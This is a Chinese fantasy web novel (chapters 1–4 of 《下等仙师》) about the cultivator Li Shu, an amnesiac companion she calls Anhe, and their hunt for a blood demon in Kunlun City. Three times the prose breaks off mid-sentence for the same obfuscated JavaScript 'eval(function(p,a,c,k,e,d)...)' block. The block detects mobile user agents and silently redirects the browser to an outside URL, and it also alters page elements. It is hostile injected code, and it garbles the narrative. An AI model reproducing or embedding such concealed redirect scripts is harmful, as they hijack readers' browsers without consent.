《下等仙师》 1. 私奔 “你醒啦。”李恕坐在大石上,支起右腿,托腮望着躺在脚下的男人。 他的睫毛很长,像是沾了露水的蝶翼,挣扎半晌缓缓睁开。 “你是谁?”男人声音低哑,努力想要看清同他说话的人。 李恕一身黑衣,箭袖紧束,领口遮得严严实实,反而更显脖颈修长。男人好不容易才把眼前朦胧驱散,正好撞上李恕那双黑白分明的眸子,忍不住又问了一遍:“你是谁?” 李恕放下托腮的手:“你是故意的吗?” “什么意思?” “故意装作不认识我。” 闻言,男人睁大眼睛,面上是显而易见的困惑:“我们认识?为何......我完全没有印象?” 李恕凝眸看他,忽然蹙眉捧住心口:“我没想到,你竟然是这样的人。” 看着李恕泫然欲泣的模样,男人顿时手足无措起来,可他的四肢没有一个听从使唤,以至于不得不躺在地上安慰李恕。 “抱歉,我真的不记得了,并非装作不认识你,我……”说到这里,男人停了下来,铺天盖地的困惑将他淹没:“我……是谁?” 见他自己把自己问住了,李恕轻巧地跳下大石,凑到男人身侧:“你不认识我,也不知道自己是谁?” “……” “好吧,看来你是失忆了。” 暗河还是不理解:“我为什么会失忆?” 李恕叹了口气:“你叫暗河,是我家豢养的炉鼎,可是你不甘心一辈子只做炉鼎,于是凭着一副好皮相诱我与你私奔。昨晚我们被人追上,你为了保护我受了伤,然后就成现在这样了。” 暗河怔怔听着,难以置信。 李恕哼了一声:“你不信我?还是说你准备过河拆桥?” “不是的。”暗河努力接收李恕告诉他的信息,思绪一团乱麻。诱骗李恕私奔……他怎么能做出这种事情? “那你到底信还是不信?” 默了许久,暗河终于艰难地点了点头:“我信。”随后又道,“实在抱歉……你家在哪里,我送你回去。” “你不跑了?你是炉鼎,回去之后会有什么后果你可想清楚了?” 修士想要结丹,必须汲取大量灵力长久修炼,然而当今世界灵气枯竭,晶石矿藏日益减少,倘若没有宗门扶持结丹难如登天。与之相对的是魔族体内天生便有魔核,身体素质更是远胜人族,因此渐渐在对立中占了上风。 情势所迫,人界中邪魔外道层出不穷,豢养炉鼎放在以前为人不齿,放到现在也算不得什么大事。炉鼎的性命握在主家手中,要杀要剐是死是活,全凭主家心意。 暗河闭了闭眼睛,他自然知道自己会有什么下场,只是,“是我的错,无论什么惩罚我都愿意承担,绝不牵连于你。” 李恕摇摇头:“晚了,回不去了。” “为何?” “因为我们已经有了夫妻之实。” 李恕的目光落在暗河胸口,暗河随着她低头看,这才发现自己竟是不着寸缕躺在地上,只有一件黑袍遮住腰腹。 刹那间暗河气血上涌,脖颈瞬间爬上一层赧红。李恕捻住衣角,贴心地拉了拉,遮住暗河光裸的大腿:“虽然你的……嗯……技术不是很好,但是谁让我喜欢你呢。” 这么一说,暗河简直浑身都要烧了起来。李恕年岁不大,观她衣着样貌,定然是被父母捧在掌中的宝珠,而他竟然做出如此禽兽不如之事,就算李恕的父母要将他碎尸万段也是他该受的。 李恕摇头:“这可不行,你死了一了百了,我怎么办?” 暗河不敢再看她:“我绝不会将你我之事泄露半分。” “说来说去,你就是不想对我负责,那我活着有什么意思,干脆把你杀了我再自杀。” “不可。”暗河阻止李恕,情急之下,他的身体恢复了一丝控制,“这不是你的错,你千万不要想不开。” “我也不想,只要你肯负责不就没事了吗?” “......你想我怎么做?” 李恕道:“无媒无聘为私奔,若你拿出真心向我父母求娶,等到他们点头同意,我们便能光明正大做夫妻了。” 暗河道:“我已犯下大错,令尊如何肯相信我?” 李恕道:“好办,从此处往东北方向走,有一地名叫幽兰古国,里面珍宝无数,只要你肯随我去取一件回来,我父母定然会信你的真心。不过我要把话说在前头,幽兰古国乃是诅咒之地,凶险无比,搞不好会把命搭进去。” 暗河明白,正是因为凶险,所以才能考验他的悔过与真心。事已至此,他没有理由不答应。 “好,我随你去。” 李恕很满意暗河的回答,轻轻一笑。她眼形长,眼瞳下缘清晰锋利,分明是张风流又薄情的脸,然而笑起来却如日照平湖,波光粼粼甚是生动。 暗河一时有些恍惚,李恕问他:“你现在能动了吗?” 暗河试着起身,手脚已经能动,只是胸口还在钝痛,仿佛被人捅进去大力翻搅过内脏,黑袍随着他的动作滑到腰间,暗河一下子僵住了。 李恕知道他在窘迫什么,从储物袋中取出一套白衣:“昨晚情况太过激烈,你的衣服都撕碎了,这身将就穿吧。” 话虽如此,李恕给的衣服可不将就,乃是由珍贵的雪锦制成,水火不侵,纤尘不染。 “多谢。”暗河双手接过,李恕转身让他穿衣,又听暗河在背后问,“我该怎么称呼你?” “你指的是我们欢好时的称呼,还是平时的称呼?” 背后静悄悄的,李恕不用回头都能想象出暗河面红耳赤的样子,终于善心大发不再逗他。 “我叫李恕。” 等到暗河换好衣服,李恕扫他一眼,不由得眯起眼睛。这人生得俊美若仙,一双颜色稍浅的眸子像被露水浸过,干净得透明,实在太惹人注目了,怕是还没进城就被认出来了。 “走吗?”暗河问她。 李恕不答,取出一副面具递过去:“戴上。” 面具材质不明,通体银色,雕着交错的犬牙,只能遮住下半张脸。暗河不明所以,但还是依言将面具贴到脸上,谁知那面具竟像活过来一般,严丝合缝地吸附在他脸上,宛如另一层皮肤,没有任何不适。 “为何要我戴着面具?” “因为这是我们家的规矩,丈夫的脸只有妻子能看。”李恕尾音上扬,步伐轻快地走向最近的一座城池。 昆仑城地势平阔,风水上佳,城中随处可见兵器铺子,炼器名家金鳞阁便坐落于此。 李恕在酒楼里找了个临窗雅座,暗河本来还在思考如何用饭,不曾想他刚动嘴唇,面具上的犬牙便自动收了回去,随着他的动作张开了嘴。 “你听说了吗?”隔壁桌的客人仰头灌了杯酒,压低声音和同伴分享八卦,“芈掌柜的儿子死了!” 同伴早已醉意朦胧,闻言被勾起几分精神:“城西卖刀的芈掌柜?” “对啊,就他那个独子,整天嚷嚷着要修仙,隔三差五和家仆出去猎魔。结果你猜怎么着?他被血魔活活吸成了干尸!” 李恕耳力过人,两人的话被她听得一清二楚。越高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107626|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等的魔族外形与人类越像,血魔是个例外,虽为低等魔族却天生人形,以鲜血为食。 隔壁桌的谈话还在继续。 “尸体的样子那叫一个惨,胳膊都被扯断了一条!芈掌柜折了命根子,放话谁能抓住血魔,他就把全部家产拱手相送!” “还有这种好事儿?” “好个屁,血魔每次吸完血就跑,模样又跟咱们长得一样,去哪儿抓啊?”那人说着,视线在大堂里转了一圈,最后定格在李恕两人身上。 “据说血魔还有一个特点,那就是个个美貌惊人,你看那俩,尤其是那个戴面具的男人,奇不奇怪?该不会是……” 李恕素手执杯,懒散地撩起眼皮,对上邻座不怀好意的视线。男人背后顿时起了一股寒意,不敢乱说话了。 用罢饭食,李恕要了一些干粮,结账离开酒楼。暗河脚步迟疑,眼睛里明明白白写着有心事。 “你怎么了?” “我想去芈掌柜家看看。” “为了他的万贯家财?” “不,芈公子有心除魔,乃是为民做好事,如今他不幸丧生,我想去向他聊表敬意,送他一程,此为其一。血魔伤人之后下落不明,放任不管难保不会再次作乱,我既得知此事又怎好坐视不理?此为其二。” 暗河说的认真,然而酒楼里的两人说的同样不假。血魔实力不强,能在人界生活自如,正是因为他们难以辨别,更难追捕,暗河就算去了也只会浪费时间。 “请问你有见过一位白衣剑修吗?” 不待李恕开口,长街对面忽然起了骚动,原来是几名修士在打听消息,其中有位女修雪肤花貌,美得惊人,一开口便吸引了周围人的目光。 被问话的是位货郎,每天走街串巷,遇见的人最多。 “见过。”货郎点头。 女修眼睛一亮:“你在那里见的?” “就在这里。”货郎如实回答,指着女修身旁的两名男修,“他们不就是吗?穿白衣服,还背着剑。” “你找死吗?”被指到的男修剑眉星目,身形挺拔,闻言反手就要去拔剑,吓得货郎哇哇大叫。 另一名娃娃脸男修赶紧拦他:“二师兄,快住手。” 女修希望落空,不死心地继续追问:“他确实和我们打扮一样,除了我们之外呢?” 货郎被吓得不轻,使劲摇头,嘴里连声喊没见过没见过。 李恕默默看了全程,五大宗门的弟子服各成一派,那三名修士穿着绣了飞鸟纹的白色弟子服,一看便知来自玄隐门。 说来好笑,修士自诩清心寡欲,实则处处都想彰显自己的与众不同。就拿着弟子服出来说,玄隐门既然占了一个玄字,按理来说该穿黑色,但是他们觉得黑色不好看,于是便将弟子服定为白色。 如此一来白羽观不乐意了,可他们作为丹修,实力比不上玄隐门一群剑修,只好退而求其次穿了黄色。 至于衣裳纹样,各大宗门默认内门弟子才配穿着有纹样的衣服,只有青石寺是个例外,统一穿着灰色僧袍。 “小师妹别着急,也许大师兄去见朋友了,只是没来得及告诉我们,再等等他就回来了。” 娃娃脸修士柔声安慰,被称作二师兄的修士则冷哼一声。 小师妹点点头,眼中的担忧仍旧没减少:“大师兄突然消失,没留下任何言语,这不像他的作风,我们还是再找找吧。” “好。” 就在几人即将抬头望过来的前一刻,李恕拉住暗河没入人群,一本正经道:“你说的对,我们是该去芈掌柜家看看。” 2. 血魔 满院白幡,随风飘扬。暗河站在堂中,郑重地向芈公子的牌位敬香。芈掌柜嘴角绷紧,眼底血丝满布,不动声色地打量两人。 自从儿子出事,不对,自从他以全部家产作为条件悬赏血魔,前来自荐的人便络绎不绝,可几天过去没有一人能够找出血魔踪迹,有些人甚至趁机来骗吃骗喝。 眼前这两人瞧着倒是仙风道骨,那个叫暗河的格外有心,还给儿子上了香,可是两人实在是太年轻了,芈掌柜不得不怀疑,他们真的有本事抓到血魔吗? “芈掌柜,请节哀。”暗河欠了欠身,切入正题,“关于血魔,目前你都知道哪些信息?” 芈掌柜压下悲痛,引着两人前往偏厅,事到如今他除了相信也没有别的办法。 “三月十七,严儿带着家仆阿钊出门,正好被我撞见。得知他又要去猎魔,我骂了他几句,让他不要到处乱跑,猎魔的事情自有修士去做。严儿嘴上答应,一转眼就跑没影儿了。想到昆仑城距离紫竹峰和赤霞派两大宗门都很近,一向太平无事,所以我也没有强行把他追回来。” 说到这里,芈掌柜顿了一下,这几天他无时无刻不在后悔,倘若那日能够拦下芈严该有多好。 可惜没有如果,芈严彻夜未归,一天后重伤的阿钊倒在路边被人发现,报了官,官府派人搜寻,最后在离城数十里的玉带河边发现了芈严的尸体。 “阿钊现在何处?”芈掌柜并不清楚个中细节,阿钊作为幸存者恐怕是唯一见过血魔的人。 “尚在昏迷之中,能不能保住性命还说不好。” “可以的话请带我们去见见阿钊。” 芈掌柜答应了。卧房里,阿钊浑身是伤躺在床上,脖子上裹的白布依稀透出些许血迹,那是血魔咬过的地方。 李恕走近了些,目光在阿钊的脖子上停了一会儿,忽然伸出两指按住那点血迹。 芈掌柜道:“我请大夫给阿钊看过了,伤口也处理过多次,不知为何一直有血渗出。” 血魔獠牙尖细,留下的伤口像是被蛇咬了,不至于难以愈合。 李恕收回手:“令郎当日外出猎魔,随身携带的东西是否还在。” “应该都在,官府当作遗物交给了我。” 已经确定凶手是血魔,官府觉得追捕无望,懒得再多费精力保存物证,就全给芈掌柜了。 香囊、护甲、弓弩、捆仙网、长刀......芈严用的都是成色极佳的东西。李恕拿起长刀,它虽血迹斑斑,但锋芒犹在,细看之下刀身中段略有两处纤细的刮痕,不知碰过什么东西。 “芈家铸刀多年,即便在这昆仑城中也是小有名气,这刀正是我送给严儿的生辰礼物......” 李恕颔首:“好刀。” 诚如芈掌柜所说,阿钊没法回答两人任何问题。出了卧房,李恕表示想要看看芈府地形,芈掌柜带着两人转了一圈,最后回到前院。 “仙师可是有了找出血魔的办法?” “没有。” “那仙师接下来打算怎么做?” 李恕的回答简单直白:“什么都不做。” 芈掌柜怀疑自己听错了:“仙师这是什么意思?” “字面意思。” 话音落下,院外忽地传来一声轻笑:“仙师真有意思。” 几人抬头望去,顿时一阵目眩。 只见一名身着文武袖袍的男人走了进来,耳着金环,腰挂玉佩,衣摆和靴子上绣着同色暗纹交相辉映,一看便知精心搭配过。他的手中握着一把漆骨折扇轻轻摇动,好不潇洒。对了,握扇的手上也戴了戒指,足足三个。 这么多饰品在阳光下闪闪烁烁,能不让人目眩吗? 他身后跟着一名十几岁的少年,也被打扮的花里胡哨,好在模样乖巧,看着还挺讨喜。 李恕神色骤冷,紧紧盯着男人的脸——他的左眼是只重瞳。 芈掌柜有些愣怔:“敢问二位是……” 男人早就在等他发问,自我介绍道:“在下捕星司大统领,放寒山。” “捕星司?”芈掌柜大喜过望,论起来,捕星司不在五大宗门之列,也非官府衙门,乃是一家鱼龙混杂的江湖组织,行事甚是随心所欲,你是正道修士也好邪魔外道也罢,只要投缘捕星司都愿意结交,所以风评一直褒贬不一。但这不是重点,重点是捕星司确实有实力。 如今放寒山不请自来,芈掌柜如何能不欢喜,忙问:“放统领可是听说了血魔之事?” “正是。”放寒山信步踏入庭院,那个漂亮少年低头跟上他。“没想到已有两位仙师在此,不过嘛,我相信芈掌柜不会介意多一个人帮你解决问题的。我们各凭本事,看谁能先捉住血魔,如何?” 后面这半句话是对李恕两人说的,暗河不作他想,答道:“放统领愿意出手相助自然是再好不过。” 李恕仍旧盯着放寒山,直到对方微微挑眉,迎着她的视线回望:“仙师?” 李恕收敛心神:“随你。” 放寒山经常被人盯着看,尤其是女子,因此也不觉得被冒犯,继续和芈掌柜说话:“令郎的遗体是否还在?我需要确认一件事情。” 芈严出事已有数天,然而不抓住血魔芈掌柜不甘心把儿子下葬,如今尸体停在灵棚,芈掌柜花大价钱买了晶石铺在棺材底部,以保芈严尸身不腐。 “还请带我过去看看。” “是,放统领请随我来。” 一行人走到灵棚,倚在棺边的芈夫人回过头,浮肿的脸上双眼通红,芈掌柜小声同她讲了来意,扶着她退至一旁。 芈严躺在棺材里,他本来就身材瘦小,如今只剩一张皮绷在骨架上,呈现出尸体独有的灰败之气,更是不忍卒看。 放寒山从袖中取出一张符箓,托在掌心靠近芈严,符箓骤然亮了起来。“果然是她。” 芈掌柜的心猛地提了起来:“放统领认知道这个血魔?” “湘山、玉岭、昆仑城,屠夫、护院、芈公子,这已经是她犯下的第三起命案,受害者无一不被吸干了血。” “三处地方三条人命,血魔一直在流窜伤人,这岂非表明她还会逃跑?那你能……” 芈掌柜没有把话说完,他的意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107627|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很明显,那放寒山能在血魔逃走之前抓住她吗? 放寒山换了个新问题:“令郎出事至今有几天了?” “从他离家那天算起,已经有七天了。” “通常来讲,血魔吸血不会伤人性命,一是他们也怕闹出人命被追捕,二是血魔消化很慢,前两次她吸干受害者的血后,蛰伏了大半个月才又动手。” 也就是说,还有七八天的时间找出血魔。 芈掌柜终于看见希望,激动地抓住放寒山的手:“放统领,只要能为我儿报仇雪恨,你要我做什么事情都行!” 放寒山抽回手:“那这几天在下就借住贵府了。” 芈掌柜求之不得,命令家仆安排最好的客房,又设下筵席招待。 夜幕降临,放寒山准备去找血魔,那个乖巧少年和他一起。两人刚出房门,放寒山瞥见李恕与暗河在廊下说话,于是改道飘过去。 暗河握着短刀,手里的一截木头已经初具长剑形状。李恕捡起一块削下来木片抛着玩:“你想要一件兵器?” “嗯。” “何必如此麻烦,芈掌柜是铸刀高手,你同他说一声,他自然会把宝刀奉上。” 暗河握着剑柄,心头爬上一股莫名熟悉的感觉:“可我总觉得,我应该用剑。” 李恕不置可否,抛出去的木片被人从半道截走,放寒山捻住木片,笑嘻嘻道:“两位晚上好啊。” “放统领。”暗河搁下木剑起身,看见那个少年站在远远门口,问道,“你们要去抓血魔了?” “不错,一起去吗?虽然血魔的线索是我提供的,但我并不介意两位与我同去。” 这位放统领真是侠义心肠,暗河正要答应,却被李恕一口拒绝:“不去。” 放寒山颇为大度:“李仙师不用觉得不好意思。” “不去。” “……”放寒山不能理解,他亲自相邀竟然有人不领情?如此一来,由不得他不仔细打量李恕一番。 这女子身量修长,散修打扮,出身与实力皆不可知,明明对着暗河有说有笑,对自己却颇为冷淡。此刻她站在台阶上,放寒山要微微仰头才能与她对视。 “李仙师另有妙计?” “没有。” “好吧。”放寒山言尽于此,他可不是那种死缠烂打的人,李恕不领情算了,哼。 两人走后暗河继续削木剑,忍了半晌还是忍不住问李恕:“你为什么不愿意和放统领一起去追捕血魔?” 李恕坐在栏杆上,垂着一条长腿晃来晃去,衣角随着她的动作上下翻飞:“因为我不喜欢他。” 暗河没想到会听见这么一个答案:“你和放统领有过节?”不对,两人不像认识的样子。 “没有,不喜欢就是不喜欢。不像你,我一看就喜欢。” 李恕笑意盈盈,眸子在光下泛着涟漪。暗河冷不防被她调戏,下刀歪了些许,即便如此仍坚持道:“人命事大,若你实在不想与他相处,我随他去即可。” 李恕哦了一声,长腿一抬,踩住暗河陈在膝上的木剑:“如果我不让你去呢?” 3. 偷窥 长街灯火寥落,因为血魔喜欢夜间活动,芈严出事后城中百姓不敢夜行,生怕下一个倒霉的就是自己。 如此倒是省了打扰,放寒山根据追踪符的指示一路出了昆仑城,进入一片密林。这里荒无人烟,确实是个藏身的好地方,就是太难走了些。 放寒山手握折扇,撇开一簇拦路荆棘,少年也在扒拉荆棘,走过去后手一松,一枝刺条正好擦着放寒山的颊边扫过。 “啊!”放寒山大惊失色。 少年吓了一跳,只见放寒山飞快地从怀里摸出一只巴掌大的小铜镜,对镜仔细检查起来。好半晌,放寒山终于安心了:“还好没破相。” “……”少年十分无语,原来是放寒山臭美的毛病又发作了,害他白担心一场。那只小铜镜是放寒山花了大价钱买的,镜面能够夜放光华,方便他不分白天黑夜的检查仪容。 收好镜子,放寒山心生感慨:“看来老天也舍不得我这张脸受伤。幻幻,你好好走路。” 被叫幻幻的少年无声地翻了个白眼:“这里根本没有路。” 一片漆黑之中,放寒山准确无比地猜中幻幻的表情,啧了一声:“小孩子不可以没礼貌。” 幻幻懒得理他,拨开荆棘继续往前走。约摸走了半个时辰,放寒山忽然停住了,幻幻左右看了两眼:“血魔藏在这里?” 放寒山把追踪符夹在指间晃了晃:“不,符箓失效了。”而且不是因为过了使用时间,而是血魔身上的标记被外力毁了。 “可是标记无形无味,按理来说血魔应该发现不了啊。” 放寒山展开折扇,有一下没一下地摇着。大多数魔族都不通术法,血魔能够发现自己身上有追踪符确实意外,除非有谁提醒了她。 想着想着,放寒山眼前浮现出李恕的脸,她拒绝自己是因为早就知道这件事吗? 一定是的,放寒山只用一秒就肯定了自己的猜测,不然李恕根本没理由拒绝他。 “走吧幻幻,我们回去。” “啊,不找血魔了吗?” “当然不是,我们去向李仙师虚心请教一番。” 听见李恕的名字,幻幻的脚步迟疑了,放寒山用折扇敲敲他的脑袋:“你怎么了?我一直都想问,你怎么一进芈府就变得跟只小鹌鹑似的,你在我面前不是很嚣张吗?” “才不是呢!我只是……” “有话直说。” 幻幻咬了咬嘴唇:“我只是有点儿害怕李仙师。” “怕她什么?”放寒山不理解,虽说李恕的态度是有几分生人勿近,但也不至于到害怕的程度吧。 “我当然不是说她长得吓人,而是她给我的感觉很吓人。我觉得……”幻幻回想与李恕初见的场景,那时她的注意力全在放寒山身上,幻幻这才得以保持镇定,“她好像和我是同族。” “是吗?”放寒山长眉挑起,将扇子在指尖转了一轮,愈发有了兴趣,“那我更得去会会这位李仙师了。” 因为,幻幻是个魔族。 “请不要开玩笑。”暗河感受着膝盖上的力度,李恕纤长的小腿裹在黑靴里,不偏不倚踩着剑身,暗河无法继续雕刻,也不好推开她,只好强调,“我们答应了芈掌柜要抓住血魔。” 李恕的脚尖一勾一挑,将木剑送到自己手中:“放心,血魔会自动送上门的。” 暗河怔然,随即认真思索李恕的话:“芈府有让她必须来的人?” “恭喜你答对了一半。” “那是……府中有她想要的东西?” “没错,我们果然心有灵犀。”李恕挽了个剑花,挑起暗河的下巴。暗河耳根发热,却顺从地没有反抗:“是什么东西?” “她的獠牙。”李恕把木剑横在两人之间,指尖轻点剑身,“你有没有仔细看过芈严的刀,这里,刀身中段有两道细微的齿痕。” 试想,那晚血魔张嘴扑过来的时候,芈严横刀去挡,恰好将刀刃撞到血魔的獠牙上会发生什么? 暗河被点醒:“血魔吸血时把獠牙断在芈公子体内了?” “恭喜你又答对了一半。”李恕循循善诱,颇有耐心,“你再想想血魔犯下的几桩命案有何不同。” 有何不同?首先是地点不同,不过这个应当不算线索;其次是被害者的身份不同,屠夫、护院、芈公子……他们都是男人,这点算不算呢?最后如果算上阿钊,那么被害者的人数也不同……对了,阿钊! 暗河醍醐灌顶:“血魔的獠牙在阿钊身上。” 虽然放寒山没有点明,但是屠夫、护院八成都是身强力壮的成年男子,气血充足,所以血魔才特意挑他们下手。芈公子身材瘦小,又因为断了条手臂大量失血,相较而言血魔是吸不够的,她真正的目标恐怕是身为侍卫、人高马大的阿钊。 不知那晚具体发生了什么,总之芈公子先遭了毒手,同时他也阴差阳错伤了血魔的獠牙。血魔没料到他的长刀会如此锋利,只想着再对阿钊下手,吸食的过程中阿钊激烈反抗,竟让血魔的獠牙断在了体内。 芈掌柜与大夫都不知道这件事情,只为阿钊包扎了伤口,没有除去獠牙,所以阿钊的伤口才会一直渗血。 李恕把剑还给暗河:“血魔吸血全靠獠牙,没有了牙她就会活活饿死,你说她是会自愿等死,还是会偷偷过来取回她的獠牙?” 毫无疑问,自然是后者。 暗河对李恕的敏锐心生敬佩,同时想到另一个问题:“那我们要告诉芈掌柜加派人手保护阿钊吗?” “不要告诉任何人,血魔谨慎,我们要装作什么都不知道,只是为了在芈府混吃混喝。” 月凉如水,放寒山悄悄回了院子,只见客房门窗紧闭,廊下已经没有李恕两人的身影。 “过来。”放寒山蹑手蹑脚走近客房,挥手招呼幻幻跟上。幻幻面露难色,并不是很想靠近。 “有我在呢,你怕什么?”放寒山对着幻幻做口型,两人鬼鬼祟祟凑到窗下,侧耳倾听房内动静。里面没人说话,只有窸窸窣窣的水声,时断时续听不真切,但又无端引人遐想。 幻幻率先听了出来:“她在洗澡。” 放寒山点头。 幻幻道:“我们来的不是时候,还是走吧。” 放寒山道:“不,我们来的正是时候。” 魔族虽能伪装人类,但毕竟不是同族,细微之处难免露出破绽,比如身后多条尾巴、头发里藏着犄角什么的,趁着李恕洗澡正好检查一下。 幻幻觉得不妥:“万一她不是魔呢?你岂不是成了偷看女子洗澡的狂徒?” 放寒山仍是点头:“对啊,所以你看。” 幻幻:“?” 幻幻无声大骂:“你滚,你有病啊?” “有什么关系,你又不是男人,快点。”放寒山手指一点捅破窗户纸,一把将幻幻推了过去。 幻幻屈于放寒山的淫威,红着脸凑上去。屋内光影朦胧,浴桶里的人肩宽肤白,肌肉线条流畅,只看背影都极为赏心悦目,只是……幻幻越看越疑惑,正想等那人转过身来,忽然眼前一花,下一刻便被人拎住后颈甩飞出去。 李恕缓步走出夜色,指间夹着一枚碧绿的树叶,其余几枚则如利刃一般深深嵌进窗棂之中。 放寒山捂住胸口,还好他一察觉到背后有寒气就立刻抓着幻幻闪人,不然被叶子钉住的就是自己了。幻幻更是惊魂未定,怪不得他总觉得屋里的人有些不对,那体型根本就是暗河嘛! 李恕盯着放寒山,神情不辨喜怒:“二位这是在做什么?” 放寒山咳了一声,手中扇子胡乱摇了两下,飞快思索对策。 房门吱呀一声开了,暗河听见动静披着外袍出来查看情况,他的长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107628|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发犹在滴水,领口松散地压在锁骨上,身形被烛光勾勒出一圈暖色,美如玉像。 “你们这是?”暗河不明所以,李恕眼底流光一闪,立即张开双臂挡在他身前:“他们在偷看你洗澡!” 好有心机,根本不给他狡辩的时间!好在放寒山惯会睁眼说瞎话:“李仙师莫要误会,在下并非那等登徒浪子,此举乃是为了查证。众所周知血魔相貌出众,与人无异,敢问样貌出众的暗河兄为何不肯以真面目示人呢?” 既然偷看错了,不如将错就错质疑暗河,且看李恕是个什么反应。 “我?”暗河摸摸面具,李恕说了这是李家的规矩,不能让外人看见他的脸。 李恕分毫不让:“追踪符的气息你已经确认过了,是不是暗河你心里清楚。” “李仙师有所不知,据我今晚的发现,血魔八成还有同伙。暗河兄执意不肯取下面具,实在是可疑得很呐。” “再可疑也可疑不过你身边那位吧?”李恕偏头看向幻幻,“大家知道除魔卫道的放统领整日与魔族形影不离吗?” 幻幻浑身僵硬,仿佛被一只无形的大手掐住后颈。他怎么忘了,他能感觉到李恕是魔族,李恕自然也能感觉到他。 人魔两界并不完全互通,相接的地方称作大结界,其内白茫茫一片,从来没人能进去后再出来。 大结界周围分布着许多漩涡一样的小结界,一次最多供两三人通行,而且小结界会移动,会消失,也算不上安全。 如今潜入人界的魔族都是从小结界过来的,很多找不到回去的漩涡干脆就不回了,幻幻也是从小结界来的,但他是主动留下的。 他是幻魔,没有性别,能够自由变换样貌,除此之外没有其他攻击能力,因此在实力至上的魔界备受欺凌。逃到人界后幻幻几度险些被杀,直到落进捕星司手里,放寒山觉得他既没作恶留着也无妨,这才安定下来。 被李恕揭穿身份,幻幻心中惶恐,放寒山避而不答:“李仙师真会开玩笑,我们还是继续说暗河兄的事吧。” 暗河知道他在转移话题,但还是答道:“我与血魔没有关系,抓住血魔之后自有分晓。” “好说好说,我也很想抓住血魔洗清暗河兄的嫌疑。”放寒山展颜一笑,仿佛刚才什么事都没发生过,“在下愿意全力襄助李仙师。” “不需要。”李恕转身欲走,没耐心与放寒山多费口舌。 “且慢……”“唰!” 李恕手腕翻转,指间绿叶裹着罡风飞射出去,直奔放寒山的面门。放寒山不闪不避,折扇一收稳稳夹住绿叶。 李恕凝着放寒山的左眼,声音里竟是带了杀意:“离我远点。” 房门关上,放寒山摸摸下巴,捻起那枚夹在扇中的绿叶。如此柔软易碎之物,竟被李恕使得如同绝世神兵,绝对不能小瞧了她。 “怎么办?”幻幻从放寒山身后探出半只脑袋。 放寒山随手把绿叶插到他头上:“什么怎么办?” “她知道我是魔了啊,怎么办?” “知道又如何,你俩不是同族吗?认个亲呗。” 幻幻的脸皱成一团,明明白白写着四个大字:我哪配啊?他这种小喽啰,根本入不了李恕的眼,更何况他跟着放寒山猎魔,说好听点儿是自保,说难听点儿就是叛徒,李恕不杀他就不错了。 “瞧你那出息,不是有我罩着你吗?” “你又打不过她。” 放寒山嘿了一声:“谁说我打不过她?” “不管怎样,我绝对不会再帮你做偷窥的事了!” 不仅如此,幻幻连李恕在的地方都不出现了。放寒山没说什么,每天变着花样跟李恕套近乎。 眼看着时间一天天过去,李恕不为所动,芈掌柜却坐不住了。说好了要抓血魔,几人一直待在府里是什么意思? 4. 中招 “老爷,饭菜已经准备好了,现在去请几位仙师来用膳吗?”婢女温声请示,芈掌柜点点头。 满满一桌山珍海味价值不菲,但这并不重要,芈掌柜是想找个机会问问李恕几人究竟能不能抓住血魔。这些天,他的精神已经快到极限了。 很快几人便来了,芈掌柜一一打过招呼,发现幻幻不在,芈掌柜并未因为他是个半大少年心生轻视,问起放寒山他的情况。 “他在睡觉。”放寒山随便想了个托词,总不好说他是在躲李恕。 芈掌柜打起精神,强挤出笑意:“仙师请坐,这些都是我们昆仑城的名菜,几位尝尝合不合口味。” 席间,芈掌柜不停招呼几人吃菜,又命婢女呈上仙露酒,亲自给几人都斟了一杯。 “我敬仙师。”芈掌柜起身把酒一饮而尽,火辣辣的痛感从喉咙一路烧到胃里,“爱子命丧血魔之手,我这个做父亲的却只会铸刀,没本事替他报仇,实在愧为人父,好在还有诸位愿意出手相助。” 说罢,芈掌柜又给自己倒了杯酒,此前他的脸上一直蒙着憔悴之色,烈酒下肚反而多了几分红润。 “我知道血魔行踪不定,想抓到她不是易事,如今我的希望全都维系在几位仙师身上,还请诸位可怜可怜我这个白发人送黑发人的父亲,实话告诉我,你们……究竟能不能抓住血魔?”芈掌柜再次干了杯中烈酒,目光灼灼地盯着几人,想要他们给个准话。 气氛略显凝滞,放寒山率先开口:“在下答应的事情自然会做到。” 芈掌柜摇头:“你只说各凭本事,我需要放统领给我一个准话,你们到底能不能抓住血魔。” 这话确实,放寒山轻摇折扇,正想回答,忽然听见暗河郑重答道:“可以。” 芈掌柜转头看着暗河,他只露出了一双眼睛,然而那眼中的神色极为认真。 掌柜拱手向他深深行了一礼:“多谢仙师。” 暗河扶他起来,却被芈掌柜反握住双手:“那么,还请仙师告诉我你要怎么抓住血魔、何时抓住血魔?” 